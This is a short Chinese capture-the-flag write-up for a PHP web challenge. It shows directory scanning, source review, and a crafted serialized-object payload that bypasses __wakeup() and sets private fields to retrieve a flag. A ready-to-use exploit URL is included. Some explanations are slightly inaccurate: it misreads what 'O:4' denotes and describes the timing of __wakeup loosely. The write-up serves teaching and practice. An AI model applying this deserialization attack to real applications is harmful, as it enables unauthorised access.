打开网页,发现重点是网页备份,所以使用dirsearch进行扫描,20分钟后扫出结果,发现www.zip文件
解压后查看index.php,看到页面通过get方法获得select的值,并将其反序列化,传给变量res
查看class.php,只有username='admin'且password=100时,执行__destruct()时会输出flag。__destruct()是php中的一个魔术方法,当一个对象不再被引用且没有被关联到其他变量时,PHP 的垃圾回收机制将会对其进行回收并销毁,这时就会自动调用 __destruct() 函数。
我们获得序列化后的对象
var_dump(serialize(new Name('admin',100)));
输出如下
string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"
# 解释
O:4:"Name" : // 表示一个类型为 object、类名为 Name、序列化后长度为 4 字节的对象
2:{ // 表示该对象包含两个字段
s:14:"Nameusername"; // 第一个字段名为 Nameusername,长度为 14 字节
s:5:"admin"; // 第一个字段的值为字符串 "admin",长度为 5 字节
s:14:"Namepassword"; // 第二个字段名为 Namepassword,长度为 14 字节
i:100; // 第二个字段的值为整数 100
}
尝试get请求,但是失败。这是因为php在执行unserialize()前会先检查是否存在__wakeup()方法,如果存在则会执行它,而该函数将用户名改成了guest。__wakeup()方法也是php中的一个魔术方法,php反序列化生成对象时,会先使用__construct()创建一个新的对象,然后使用__wakeup()对其进行初始化操作。
http://92daf906-cf88-4e98-9106-b67601822c20.node4.buuoj.cn:81/?select=O:4:%22Name%22:2:{s:14:%22Nameusername%22;s:5:%22admin%22;s:14:%22Namepassword%22;i:100;}
绕过__wakeup()的方法是让序列化后的对象的字段个数大于对象的真实字段个数,这样__wakeup()就没法执行了。这里把2改成3。
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
然后,由于username和password都是private字段,在序列化时需要在类名和字段名前面补%00前缀。(之前输出的序列化字符串里其实有%00,但是是不可打印字符,所以Nameusername的长度显示14字节,需要手动补充下)
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
即可获得flag